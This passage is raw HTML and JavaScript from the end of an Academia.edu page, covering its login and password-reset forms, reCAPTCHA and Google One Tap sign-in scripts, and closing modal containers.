checked="checked" /><div class="u-tcGrayDark u-fs12 u-fw400">Remember me on this computer</div></label></div></div><div class="col-sm-4"><input type="submit" name="commit" value="Log In" class="Button Button--lg Button--block js-login-submit u-p0x" data-disable-with="Log In" /></div></div></form><div class="collapse" id="login-reset-password-container"><br /><div class="well margin-0x"><form id="js-for-recaptcha--login-password-reset-form" action="https://www.academia.edu/reset_password" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" autocomplete="off" /><input type="hidden" name="authenticity_token" value="E2TZBqOwEW2WziOHuo9mMzYerJBkKsF6obu3cWvGAWI78OyeUyvbesLDojq9ZzMMz4OlNqMRFPMM9enTeHK9bA==" autocomplete="off" /><p>Enter the email address you signed up with and we'll email you a reset link.</p><div class="form-group"><input class="form-control" name="email" type="email" /></div><script src="https://recaptcha.net/recaptcha/api.js" async defer></script>
- <input type="submit" data-sitekey="6Lf3KHUUAAAAACggoMpmGJdQDtiyrjVlvGJ6BbAj" data-callback="submitRecaptchaPasswordResetForm" class="g-recaptcha Button Button--block Button--blue" value="Email me a link" value=""/>
- </form></div></div><script>
- require.config({ waitSeconds: 90 })(["https://a.academia-assets.com/assets/collapse-72afd7d03a2eed328fba4420f6e921c093fecdd2c413b664075f8e59de030c92.js"], function() { // from javascript_helper.rb
- Aedu.recaptchaManagedForm(document.querySelector('.js-login-form'),
- document.querySelector('.js-login-submit'));
- window.submitRecaptchaPasswordResetForm = function() {
- $('#js-for-recaptcha--login-password-reset-form').submit();
- }
- var $resetPasswordContainer = $("#login-reset-password-container");
- $resetPasswordContainer.on("shown.bs.collapse", function(){
- $resetPasswordContainer.find("input[type=email]").focus()
- $('html, body').animate({
- scrollTop: $resetPasswordContainer.offset().top
- }, 500);
- });
- });
- </script>
- </div></div><hr /><div class="row"><div class="u-taCenter u-mv8x u-tcGrayDark">Don't have an account? <a class="u-tcGrayDark u-textDecorationUnderline" href="https://www.academia.edu/signup">Sign Up</a></div></div></div></div></div></div></div><div data-auto_select="false" data-client_id="331998490334-rsn3chp12mbkiqhl6e7lu2q0mlbu0f1b" data-login_uri="https://www.academia.edu/registrations/google_one_tap" data-moment_callback="onGoogleOneTapEvent" id="g_id_onload"></div><script>function onGoogleOneTapEvent(event) {
- var momentType = event.getMomentType();
- var momentReason = null;
- if (event.isNotDisplayed()) {
- momentReason = event.getNotDisplayedReason();
- } else if (event.isSkippedMoment()) {
- momentReason = event.getSkippedReason();
- } else if (event.isDismissedMoment()) {
- momentReason = event.getDismissedReason();
- }
- Aedu.arbitraryEvents.write('GoogleOneTapEvent', {
- moment_type: momentType,
- moment_reason: momentReason,
- });
- }</script><script src="https://accounts.google.com/gsi/client" async defer></script> <script>document.addEventListener('DOMContentLoaded', function(){
- var $dismissible = $(".dismissible_banner");
- $dismissible.click(function(ev) {
- $dismissible.hide();
- });
- });</script>
-
- </div>
-
- <div class="DesignSystem"></div>
- <div id='overlay_background'></div>
- <div id='bootstrap-modal-container' class='bootstrap'></div>
- <div id='ds-modal-container' class='bootstrap DesignSystem'></div>
- <div id='full-screen-modal'></div>
- </div>
-
-
- </body>
- </html>
|